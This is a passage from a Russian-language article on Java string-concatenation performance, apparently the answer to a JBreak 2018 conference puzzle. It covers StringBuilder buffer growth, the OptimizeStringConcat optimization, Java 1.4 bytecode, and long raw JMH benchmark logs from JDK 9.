return (newCapacity <= 0 || MAX_ARRAY_SIZE - newCapacity < 0)
? hugeCapacity(minCapacity)
: newCapacity;
}
```
Когда в `StringBuilder` не хватает места при очередном append, осуществляется попытка создать буфер вдвое больший, чем был ранее (`length * 2 + 2` если быть точнее).
Если не удаётся (когда в двойной буфер добавляемая строка по-прежнему не помещается, что у нас и произошло при добавлении идентификатора метрики metrics), то создаётся буфер, длина которого равна `count + len`, где `count` — уже занятое место в буфере, а `len` — длина добавляемой строки. В примере с нашей метрикой `count == 0`, а `len == 275`.
Таким образом, первый вызов `StringBuilder.append()` привёл к созданию нового массива символов с длиной `275`.
Второй вызов также привёл к повторному созданию массива, так как идентификатор метрики полностью занимал весь буфер. Кроме того, что размер буфера стал равен `275 * 2 + 2 = 552`, так ещё потребовалось копирование 275 символов из старого буфера. И тут уже никакой JIT не помог.
Правильный ответ на задачу
--------------------------
> Вариант 1 самый медленный, а 2 и 3 дают одинаковый результат.
В нашем примере для обоих вариантов 2 и 3 HotSpot применил оптимизацию `OptimizeStringConcat`, заменив вызов Java-кода на использование intrinsic-методов. Если отключить оптимизацию `-XX:-OptimizeStringConcat`, то получим следующие результаты:
```
Benchmark Mode Cnt Score Error Units
Ordinal...BuilderBenchmark avgt 30 126,876 ± 5,962 ns/op
Ordinal...ConcatenationBenchmark avgt 30 186,758 ± 11,158 ns/op
Ordinal...MessageFormatBenchmark avgt 30 1157,645 ± 34,743 ns/op
Ordinal...PatternBenchmark avgt 30 1756,613 ± 131,212 ns/op
```
Ниже ещё будет про особенность работы `OptimizeStringConcat`.
### Статистика
Эта задача была самой простой из предложенных — её правильно решили 10 человек из 32 и ещё 18 участников конференции дали частично правильный ответ.
Частично правильный ответ заключался в том, что, например, методы расставлены правильно, но пояснения к ответу никакого дано не было, либо оно было верно только от части.
Самый распространённый ответ по 2 и 3 — javac выдаёт одинаковый байткод. Несмотря на то, что это не совсем так, как мы выяснили выше — данный ответ засчитывался как правильный.
Интересные факты
----------------
В одном из пояснений было верно подмечено, что компиляция конкатенации в StringBuilder не специфицирована. В разделе [15.18.1](https://docs.oracle.com/javase/specs/jls/se8/html/jls-15.html#jls-15.18.1) спецификации упоминается следующее:
> An implementation may choose to perform conversion and concatenation in one step to avoid creating and then discarding an intermediate String object. To increase the performance of repeated string concatenation, a Java compiler may use the StringBuffer class or a similar technique to reduce the number of intermediate String objects that are created by evaluation of an expression.
Интересно, что в спецификации к Java 8 говорится о `StringBuffer`, тогда как с Java 1.5 (когда появился `StringBuilder`) код конкатенации компилируется в `StringBuilder`. При этом в Java 1.4 код метода `formatThroughConcatenation` компилируется в байткод, единственным отличием которого является использование `StringBuffer` вместо `StringBuilder`.
**Байткод в результате компиляции в Java 1.4**
```
public java.lang.String formatThroughConcatenation(java.lang.String, java.lang.String, java.lang.String, java.lang.String);
Code:
0: new #2; //class java/lang/StringBuffer
3: dup
4: invokespecial #3; //Method java/lang/StringBuffer."":()V
7: ldc #4; //String Он,
9: invokevirtual #5; //Method java/lang/StringBuffer.append:(Ljava/lang/String;)Ljava/lang/StringBuffer;
12: aload\_1
13: invokevirtual #5; //Method java/lang/StringBuffer.append:(Ljava/lang/String;)Ljava/lang/StringBuffer;
16: ldc #6; //String , придумал такие
18: invokevirtual #5; //Method java/lang/StringBuffer.append:(Ljava/lang/String;)Ljava/lang/StringBuffer;
21: aload\_2
22: invokevirtual #5; //Method java/lang/StringBuffer.append:(Ljava/lang/String;)Ljava/lang/StringBuffer;
25: ldc #7; //String задачи. Приду на стенд
27: invokevirtual #5; //Method java/lang/StringBuffer.append:(Ljava/lang/String;)Ljava/lang/StringBuffer;
30: aload\_3
31: invokevirtual #5; //Method java/lang/StringBuffer.append:(Ljava/lang/String;)Ljava/lang/StringBuffer;
34: ldc #8; //String и скажу ему
36: invokevirtual #5; //Method java/lang/StringBuffer.append:(Ljava/lang/String;)Ljava/lang/StringBuffer;
39: aload 4
41: invokevirtual #5; //Method java/lang/StringBuffer.append:(Ljava/lang/String;)Ljava/lang/StringBuffer;
44: invokevirtual #9; //Method java/lang/StringBuffer.toString:()Ljava/lang/String;
47: areturn
```
Раз уж мы заговорили про другие версии Java, то не лишним будет попробовать собрать и прогнать бенчмарк с использованием Java 9 (JRE 9.0.4).
```
Benchmark Mode Cnt Score Error Units
Metrics...BuilderBenchmark avgt 30 207,168 ± 4,245 ns/op
Metrics...ConcatenationBenchmark avgt 30 56,220 ± 1,051 ns/op
Metrics...MessageFormatBuilder avgt 30 594,952 ± 19,025 ns/op
Metrics...PatternBenchmark avgt 30 1131,698 ± 14,363 ns/op
Ordinal...BuilderBenchmark avgt 30 53,221 ± 1,691 ns/op
Ordinal...ConcatenationBenchmark avgt 30 68,486 ± 1,936 ns/op
Ordinal...MessageFormatBenchmark avgt 30 1207,907 ± 19,414 ns/op
Ordinal...PatternBenchmark avgt 30 1972,689 ± 33,432 ns/op
```
**Результаты бенчмарка целиком**
```
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark
# Parameters: (N = 10)
# Run progress: 0,00% complete, ETA 00:18:00
# Fork: 1 of 3
# Warmup Iteration 1: 0,179 us/op
# Warmup Iteration 2: 0,155 us/op
# Warmup Iteration 3: 0,154 us/op
# Warmup Iteration 4: 0,154 us/op
# Warmup Iteration 5: 0,154 us/op
Iteration 1: 0,154 us/op
Iteration 2: 0,155 us/op
Iteration 3: 0,155 us/op
Iteration 4: 0,154 us/op
Iteration 5: 0,153 us/op
Iteration 6: 0,156 us/op
Iteration 7: 0,168 us/op
Iteration 8: 0,157 us/op
Iteration 9: 0,159 us/op
Iteration 10: 0,156 us/op
# Run progress: 2,08% complete, ETA 00:17:58
# Fork: 2 of 3
# Warmup Iteration 1: 0,182 us/op
# Warmup Iteration 2: 0,160 us/op
# Warmup Iteration 3: 0,154 us/op
# Warmup Iteration 4: 0,162 us/op
# Warmup Iteration 5: 0,155 us/op
Iteration 1: 0,157 us/op
Iteration 2: 0,159 us/op
Iteration 3: 0,154 us/op
Iteration 4: 0,155 us/op
Iteration 5: 0,164 us/op
Iteration 6: 0,155 us/op
Iteration 7: 0,156 us/op
Iteration 8: 0,155 us/op
Iteration 9: 0,169 us/op
Iteration 10: 0,171 us/op
# Run progress: 4,17% complete, ETA 00:17:34
# Fork: 3 of 3
# Warmup Iteration 1: 0,229 us/op
# Warmup Iteration 2: 0,218 us/op
# Warmup Iteration 3: 0,190 us/op
# Warmup Iteration 4: 0,191 us/op
# Warmup Iteration 5: 0,180 us/op
Iteration 1: 0,173 us/op
Iteration 2: 0,168 us/op
Iteration 3: 0,167 us/op
Iteration 4: 0,168 us/op
Iteration 5: 0,161 us/op
Iteration 6: 0,156 us/op
Iteration 7: 0,155 us/op
Iteration 8: 0,156 us/op
Iteration 9: 0,163 us/op
Iteration 10: 0,161 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark":
0,160 ±(99.9%) 0,004 us/op [Average]
(min, avg, max) = (0,153, 0,160, 0,173), stdev = 0,006
CI (99.9%): [0,156, 0,164] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark
# Parameters: (N = 100)
# Run progress: 6,25% complete, ETA 00:17:12
# Fork: 1 of 3
# Warmup Iteration 1: 1,487 us/op
# Warmup Iteration 2: 1,376 us/op
# Warmup Iteration 3: 1,328 us/op
# Warmup Iteration 4: 1,327 us/op
# Warmup Iteration 5: 1,447 us/op
Iteration 1: 1,334 us/op
Iteration 2: 1,353 us/op
Iteration 3: 1,412 us/op
Iteration 4: 1,427 us/op
Iteration 5: 1,793 us/op
Iteration 6: 1,523 us/op
Iteration 7: 1,411 us/op
Iteration 8: 1,468 us/op
Iteration 9: 1,390 us/op
Iteration 10: 1,348 us/op
# Run progress: 8,33% complete, ETA 00:16:49
# Fork: 2 of 3
# Warmup Iteration 1: 1,483 us/op
# Warmup Iteration 2: 1,645 us/op
# Warmup Iteration 3: 1,499 us/op
# Warmup Iteration 4: 1,550 us/op
# Warmup Iteration 5: 1,527 us/op
Iteration 1: 1,591 us/op
Iteration 2: 1,596 us/op
Iteration 3: 1,668 us/op
Iteration 4: 1,784 us/op
Iteration 5: 1,733 us/op
Iteration 6: 1,498 us/op
Iteration 7: 1,532 us/op
Iteration 8: 1,566 us/op
Iteration 9: 1,524 us/op
Iteration 10: 1,334 us/op
# Run progress: 10,42% complete, ETA 00:16:26
# Fork: 3 of 3
# Warmup Iteration 1: 1,504 us/op
# Warmup Iteration 2: 1,314 us/op
# Warmup Iteration 3: 1,285 us/op
# Warmup Iteration 4: 1,290 us/op
# Warmup Iteration 5: 1,284 us/op
Iteration 1: 1,283 us/op
Iteration 2: 1,288 us/op
Iteration 3: 1,287 us/op
Iteration 4: 1,291 us/op
Iteration 5: 1,282 us/op
Iteration 6: 1,286 us/op
Iteration 7: 1,297 us/op
Iteration 8: 1,286 us/op
Iteration 9: 1,284 us/op
Iteration 10: 1,285 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark":
1,438 ±(99.9%) 0,107 us/op [Average]
(min, avg, max) = (1,282, 1,438, 1,793), stdev = 0,160
CI (99.9%): [1,331, 1,546] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark
# Parameters: (N = 1000)
# Run progress: 12,50% complete, ETA 00:16:04
# Fork: 1 of 3
# Warmup Iteration 1: 18,564 us/op
# Warmup Iteration 2: 15,904 us/op
# Warmup Iteration 3: 15,757 us/op
# Warmup Iteration 4: 15,458 us/op
# Warmup Iteration 5: 15,754 us/op
Iteration 1: 15,474 us/op
Iteration 2: 15,388 us/op
Iteration 3: 15,454 us/op
Iteration 4: 15,434 us/op
Iteration 5: 15,462 us/op
Iteration 6: 15,437 us/op
Iteration 7: 15,355 us/op
Iteration 8: 15,509 us/op
Iteration 9: 15,415 us/op
Iteration 10: 15,367 us/op
# Run progress: 14,58% complete, ETA 00:15:41
# Fork: 2 of 3
# Warmup Iteration 1: 17,889 us/op
# Warmup Iteration 2: 15,454 us/op
# Warmup Iteration 3: 15,469 us/op
# Warmup Iteration 4: 16,110 us/op
# Warmup Iteration 5: 15,979 us/op
Iteration 1: 15,961 us/op
Iteration 2: 17,628 us/op
Iteration 3: 16,615 us/op
Iteration 4: 16,068 us/op
Iteration 5: 16,430 us/op
Iteration 6: 16,648 us/op
Iteration 7: 14,929 us/op
Iteration 8: 15,597 us/op
Iteration 9: 18,085 us/op
Iteration 10: 16,119 us/op
# Run progress: 16,67% complete, ETA 00:15:18
# Fork: 3 of 3
# Warmup Iteration 1: 20,057 us/op
# Warmup Iteration 2: 16,204 us/op
# Warmup Iteration 3: 15,858 us/op
# Warmup Iteration 4: 16,293 us/op
# Warmup Iteration 5: 15,851 us/op
Iteration 1: 17,172 us/op
Iteration 2: 16,261 us/op
Iteration 3: 15,955 us/op
Iteration 4: 15,694 us/op
Iteration 5: 15,686 us/op
Iteration 6: 15,300 us/op
Iteration 7: 16,633 us/op
Iteration 8: 16,594 us/op
Iteration 9: 15,752 us/op
Iteration 10: 15,459 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark":
15,963 ±(99.9%) 0,493 us/op [Average]
(min, avg, max) = (14,929, 15,963, 18,085), stdev = 0,738
CI (99.9%): [15,470, 16,455] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark
# Parameters: (N = 10000)
# Run progress: 18,75% complete, ETA 00:14:55
# Fork: 1 of 3
# Warmup Iteration 1: 193,410 us/op
# Warmup Iteration 2: 178,965 us/op
# Warmup Iteration 3: 174,831 us/op
# Warmup Iteration 4: 174,252 us/op
# Warmup Iteration 5: 172,563 us/op
Iteration 1: 175,277 us/op
Iteration 2: 175,052 us/op
Iteration 3: 170,435 us/op
Iteration 4: 172,218 us/op
Iteration 5: 169,646 us/op
Iteration 6: 174,490 us/op
Iteration 7: 170,822 us/op
Iteration 8: 167,680 us/op
Iteration 9: 172,293 us/op
Iteration 10: 169,461 us/op
# Run progress: 20,83% complete, ETA 00:14:33
# Fork: 2 of 3
# Warmup Iteration 1: 201,756 us/op
# Warmup Iteration 2: 180,306 us/op
# Warmup Iteration 3: 177,044 us/op
# Warmup Iteration 4: 176,753 us/op
# Warmup Iteration 5: 176,762 us/op
Iteration 1: 177,181 us/op
Iteration 2: 180,288 us/op
Iteration 3: 180,234 us/op
Iteration 4: 177,654 us/op
Iteration 5: 179,481 us/op
Iteration 6: 179,769 us/op
Iteration 7: 180,273 us/op
Iteration 8: 180,923 us/op
Iteration 9: 177,576 us/op
Iteration 10: 176,988 us/op
# Run progress: 22,92% complete, ETA 00:14:10
# Fork: 3 of 3
# Warmup Iteration 1: 199,773 us/op
# Warmup Iteration 2: 191,027 us/op
# Warmup Iteration 3: 175,811 us/op
# Warmup Iteration 4: 195,435 us/op
# Warmup Iteration 5: 186,448 us/op
Iteration 1: 190,321 us/op
Iteration 2: 172,248 us/op
Iteration 3: 172,875 us/op
Iteration 4: 173,850 us/op
Iteration 5: 174,142 us/op
Iteration 6: 175,412 us/op
Iteration 7: 173,791 us/op
Iteration 8: 173,810 us/op
Iteration 9: 173,287 us/op
Iteration 10: 174,731 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.builderBenchmark":
175,407 ±(99.9%) 3,039 us/op [Average]
(min, avg, max) = (167,680, 175,407, 190,321), stdev = 4,549
CI (99.9%): [172,368, 178,446] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark
# Parameters: (N = 10)
# Run progress: 25,00% complete, ETA 00:13:47
# Fork: 1 of 3
# Warmup Iteration 1: 0,292 us/op
# Warmup Iteration 2: 0,251 us/op
# Warmup Iteration 3: 0,274 us/op
# Warmup Iteration 4: 0,268 us/op
# Warmup Iteration 5: 0,276 us/op
Iteration 1: 0,291 us/op
Iteration 2: 0,286 us/op
Iteration 3: 0,283 us/op
Iteration 4: 0,294 us/op
Iteration 5: 0,277 us/op
Iteration 6: 0,285 us/op
Iteration 7: 0,283 us/op
Iteration 8: 0,275 us/op
Iteration 9: 0,269 us/op
Iteration 10: 0,274 us/op
# Run progress: 27,08% complete, ETA 00:13:24
# Fork: 2 of 3
# Warmup Iteration 1: 0,309 us/op
# Warmup Iteration 2: 0,281 us/op
# Warmup Iteration 3: 0,292 us/op
# Warmup Iteration 4: 0,276 us/op
# Warmup Iteration 5: 0,280 us/op
Iteration 1: 0,277 us/op
Iteration 2: 0,268 us/op
Iteration 3: 0,283 us/op
Iteration 4: 0,301 us/op
Iteration 5: 0,290 us/op
Iteration 6: 0,275 us/op
Iteration 7: 0,273 us/op
Iteration 8: 0,291 us/op
Iteration 9: 0,293 us/op
Iteration 10: 0,274 us/op
# Run progress: 29,17% complete, ETA 00:13:02
# Fork: 3 of 3
# Warmup Iteration 1: 0,302 us/op
# Warmup Iteration 2: 0,257 us/op
# Warmup Iteration 3: 0,280 us/op
# Warmup Iteration 4: 0,272 us/op
# Warmup Iteration 5: 0,286 us/op
Iteration 1: 0,290 us/op
Iteration 2: 0,286 us/op
Iteration 3: 0,286 us/op
Iteration 4: 0,300 us/op
Iteration 5: 0,285 us/op
Iteration 6: 0,276 us/op
Iteration 7: 0,285 us/op
Iteration 8: 0,310 us/op
Iteration 9: 0,269 us/op
Iteration 10: 0,268 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark":
0,283 ±(99.9%) 0,007 us/op [Average]
(min, avg, max) = (0,268, 0,283, 0,310), stdev = 0,010
CI (99.9%): [0,276, 0,290] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark
# Parameters: (N = 100)
# Run progress: 31,25% complete, ETA 00:12:39
# Fork: 1 of 3
# Warmup Iteration 1: 10,154 us/op
# Warmup Iteration 2: 7,346 us/op
# Warmup Iteration 3: 7,357 us/op
# Warmup Iteration 4: 7,376 us/op
# Warmup Iteration 5: 7,332 us/op
Iteration 1: 7,334 us/op
Iteration 2: 7,343 us/op
Iteration 3: 7,338 us/op
Iteration 4: 7,358 us/op
Iteration 5: 7,343 us/op
Iteration 6: 7,395 us/op
Iteration 7: 7,375 us/op
Iteration 8: 7,381 us/op
Iteration 9: 7,356 us/op
Iteration 10: 7,342 us/op
# Run progress: 33,33% complete, ETA 00:12:16
# Fork: 2 of 3
# Warmup Iteration 1: 10,032 us/op
# Warmup Iteration 2: 7,326 us/op
# Warmup Iteration 3: 7,247 us/op
# Warmup Iteration 4: 7,512 us/op
# Warmup Iteration 5: 8,649 us/op
Iteration 1: 7,502 us/op
Iteration 2: 7,327 us/op
Iteration 3: 7,197 us/op
Iteration 4: 8,295 us/op
Iteration 5: 7,221 us/op
Iteration 6: 7,224 us/op
Iteration 7: 7,210 us/op
Iteration 8: 7,204 us/op
Iteration 9: 7,457 us/op
Iteration 10: 8,124 us/op
# Run progress: 35,42% complete, ETA 00:11:52
# Fork: 3 of 3
# Warmup Iteration 1: 11,735 us/op
# Warmup Iteration 2: 7,658 us/op
# Warmup Iteration 3: 7,495 us/op
# Warmup Iteration 4: 7,258 us/op
# Warmup Iteration 5: 8,326 us/op
Iteration 1: 8,001 us/op
Iteration 2: 7,964 us/op
Iteration 3: 7,854 us/op
Iteration 4: 7,480 us/op
Iteration 5: 7,556 us/op
Iteration 6: 7,928 us/op
Iteration 7: 7,335 us/op
Iteration 8: 8,161 us/op
Iteration 9: 7,989 us/op
Iteration 10: 7,372 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark":
7,532 ±(99.9%) 0,220 us/op [Average]
(min, avg, max) = (7,197, 7,532, 8,295), stdev = 0,329
CI (99.9%): [7,312, 7,752] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark
# Parameters: (N = 1000)
# Run progress: 37,50% complete, ETA 00:11:29
# Fork: 1 of 3
# Warmup Iteration 1: 843,574 us/op
# Warmup Iteration 2: 604,431 us/op
# Warmup Iteration 3: 602,075 us/op
# Warmup Iteration 4: 605,613 us/op
# Warmup Iteration 5: 610,006 us/op
Iteration 1: 606,927 us/op
Iteration 2: 634,940 us/op
Iteration 3: 607,559 us/op
Iteration 4: 650,631 us/op
Iteration 5: 653,789 us/op
Iteration 6: 607,988 us/op
Iteration 7: 621,988 us/op
Iteration 8: 607,247 us/op
Iteration 9: 602,864 us/op
Iteration 10: 607,888 us/op
# Run progress: 39,58% complete, ETA 00:11:06
# Fork: 2 of 3
# Warmup Iteration 1: 811,900 us/op
# Warmup Iteration 2: 603,097 us/op
# Warmup Iteration 3: 603,808 us/op
# Warmup Iteration 4: 605,518 us/op
# Warmup Iteration 5: 605,703 us/op
Iteration 1: 616,120 us/op
Iteration 2: 602,626 us/op
Iteration 3: 605,618 us/op
Iteration 4: 599,532 us/op
Iteration 5: 598,845 us/op
Iteration 6: 604,046 us/op
Iteration 7: 615,308 us/op
Iteration 8: 609,050 us/op
Iteration 9: 612,949 us/op
Iteration 10: 613,524 us/op
# Run progress: 41,67% complete, ETA 00:10:43
# Fork: 3 of 3
# Warmup Iteration 1: 852,912 us/op
# Warmup Iteration 2: 707,652 us/op
# Warmup Iteration 3: 651,288 us/op
# Warmup Iteration 4: 599,827 us/op
# Warmup Iteration 5: 621,685 us/op
Iteration 1: 598,476 us/op
Iteration 2: 601,931 us/op
Iteration 3: 602,993 us/op
Iteration 4: 602,098 us/op
Iteration 5: 623,709 us/op
Iteration 6: 615,533 us/op
Iteration 7: 623,482 us/op
Iteration 8: 591,862 us/op
Iteration 9: 624,777 us/op
Iteration 10: 595,762 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark":
612,002 ±(99.9%) 9,759 us/op [Average]
(min, avg, max) = (591,862, 612,002, 653,789), stdev = 14,606
CI (99.9%): [602,244, 621,761] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark
# Parameters: (N = 10000)
# Run progress: 43,75% complete, ETA 00:10:20
# Fork: 1 of 3
# Warmup Iteration 1: 85359,249 us/op
# Warmup Iteration 2: 60094,054 us/op
# Warmup Iteration 3: 58604,795 us/op
# Warmup Iteration 4: 63162,713 us/op
# Warmup Iteration 5: 61908,459 us/op
Iteration 1: 58603,106 us/op
Iteration 2: 59940,727 us/op
Iteration 3: 58251,292 us/op
Iteration 4: 58429,386 us/op
Iteration 5: 58252,382 us/op
Iteration 6: 58310,251 us/op
Iteration 7: 59034,690 us/op
Iteration 8: 58480,766 us/op
Iteration 9: 58441,828 us/op
Iteration 10: 58242,481 us/op
# Run progress: 45,83% complete, ETA 00:09:58
# Fork: 2 of 3
# Warmup Iteration 1: 85157,562 us/op
# Warmup Iteration 2: 58764,257 us/op
# Warmup Iteration 3: 58987,052 us/op
# Warmup Iteration 4: 61368,128 us/op
# Warmup Iteration 5: 59257,690 us/op
Iteration 1: 60699,151 us/op
Iteration 2: 59754,186 us/op
Iteration 3: 60091,361 us/op
Iteration 4: 61224,621 us/op
Iteration 5: 58651,375 us/op
Iteration 6: 58365,153 us/op
Iteration 7: 58962,688 us/op
Iteration 8: 58993,352 us/op
Iteration 9: 58819,427 us/op
Iteration 10: 58550,841 us/op
# Run progress: 47,92% complete, ETA 00:09:35
# Fork: 3 of 3
# Warmup Iteration 1: 85371,543 us/op
# Warmup Iteration 2: 58821,258 us/op
# Warmup Iteration 3: 58546,736 us/op
# Warmup Iteration 4: 58518,930 us/op
# Warmup Iteration 5: 59124,297 us/op
Iteration 1: 58823,911 us/op
Iteration 2: 58633,122 us/op
Iteration 3: 58459,387 us/op
Iteration 4: 58571,716 us/op
Iteration 5: 58584,158 us/op
Iteration 6: 58584,505 us/op
Iteration 7: 58472,397 us/op
Iteration 8: 58647,381 us/op
Iteration 9: 64360,849 us/op
Iteration 10: 60359,720 us/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.ImmutableStringBenchmark.concatenationBenchmark":
59119,874 ±(99.9%) 841,652 us/op [Average]
(min, avg, max) = (58242,481, 59119,874, 64360,849), stdev = 1259,746
CI (99.9%): [58278,221, 59961,526] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughBuilderBenchmark
# Run progress: 50,00% complete, ETA 00:09:13
# Fork: 1 of 3
# Warmup Iteration 1: 262,703 ns/op
# Warmup Iteration 2: 213,253 ns/op
# Warmup Iteration 3: 214,540 ns/op
# Warmup Iteration 4: 211,447 ns/op
# Warmup Iteration 5: 211,299 ns/op
Iteration 1: 212,265 ns/op
Iteration 2: 210,657 ns/op
Iteration 3: 212,277 ns/op
Iteration 4: 219,824 ns/op
Iteration 5: 225,531 ns/op
Iteration 6: 206,097 ns/op
Iteration 7: 204,751 ns/op
Iteration 8: 211,672 ns/op
Iteration 9: 209,949 ns/op
Iteration 10: 208,630 ns/op
# Run progress: 52,08% complete, ETA 00:08:49
# Fork: 2 of 3
# Warmup Iteration 1: 263,284 ns/op
# Warmup Iteration 2: 200,613 ns/op
# Warmup Iteration 3: 194,637 ns/op
# Warmup Iteration 4: 195,592 ns/op
# Warmup Iteration 5: 198,620 ns/op
Iteration 1: 198,124 ns/op
Iteration 2: 199,164 ns/op
Iteration 3: 199,169 ns/op
Iteration 4: 208,831 ns/op
Iteration 5: 215,353 ns/op
Iteration 6: 205,850 ns/op
Iteration 7: 201,657 ns/op
Iteration 8: 212,089 ns/op
Iteration 9: 206,610 ns/op
Iteration 10: 201,656 ns/op
# Run progress: 54,17% complete, ETA 00:08:26
# Fork: 3 of 3
# Warmup Iteration 1: 261,702 ns/op
# Warmup Iteration 2: 197,009 ns/op
# Warmup Iteration 3: 202,197 ns/op
# Warmup Iteration 4: 203,103 ns/op
# Warmup Iteration 5: 210,418 ns/op
Iteration 1: 205,722 ns/op
Iteration 2: 204,451 ns/op
Iteration 3: 209,910 ns/op
Iteration 4: 203,296 ns/op
Iteration 5: 203,002 ns/op
Iteration 6: 207,542 ns/op
Iteration 7: 209,387 ns/op
Iteration 8: 202,788 ns/op
Iteration 9: 197,077 ns/op
Iteration 10: 201,708 ns/op
Result "ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughBuilderBenchmark":
207,168 ±(99.9%) 4,245 ns/op [Average]
(min, avg, max) = (197,077, 207,168, 225,531), stdev = 6,353
CI (99.9%): [202,923, 211,413] (assumes normal distribution)
# JMH version: 1.20
# VM version: JDK 9.0.4, VM 9.0.4+11
# VM invoker: C:\Program Files\Java\jre-9.0.4\bin\java.exe
# VM options:
# Warmup: 5 iterations, 1500 ms each
# Measurement: 10 iterations, 1500 ms each
# Timeout: 10 min per iteration
# Threads: 1 thread, will synchronize iterations
# Benchmark mode: Average time, time/op
# Benchmark: ru.gnkoshelev.jbreak2018.perf\_tests.strings.MetricsFormatBenchmark.formatThroughConcatenationBenchmark
# Run progress: 56,25% complete, ETA 00:08:03
# Fork: 1 of 3
# Warmup Iteration 1: 77,890 ns/op
# Warmup Iteration 2: 60,084 ns/op
# Warmup Iteration 3: 61,112 ns/op
# Warmup Iteration 4: 64,259 ns/op
# Warmup Iteration 5: 63,863 ns/op
Iteration 1: 58,276 ns/op
Iteration 2: 56,546 ns/op
Iteration 3: 56,680 ns/op
Iteration 4: 56,652 ns/op
Iteration 5: 57,838 ns/op
Iteration 6: 58,543 ns/op
Iteration 7: 56,616 ns/op
Iteration 8: 56,765 ns/op
Iteration 9: 56,704 ns/op
Iteration 10: 56,496 ns/op
# Run progress: 58,33% complete, ETA 00:07:40
# Fork: 2 of 3
# Warmup Iteration 1: 79,029 ns/op
# Warmup Iteration 2: 60,338 ns/op
# Warmup Iteration 3: 56,450 ns/op
# Warmup Iteration 4: 56,621 ns/op
# Warmup Iteration 5: 56,712 ns/op
Iteration 1: 56,811 ns/op
Iteration 2: 56,772 ns/op
Iteration 3: 58,599 ns/op
Iteration 4: 58,018 ns/op
Iteration 5: 57,401 ns/op
Iteration 6: 57,331 ns/op
Iteration 7: 56,742 ns/op
Iteration 8: 56,869 ns/op
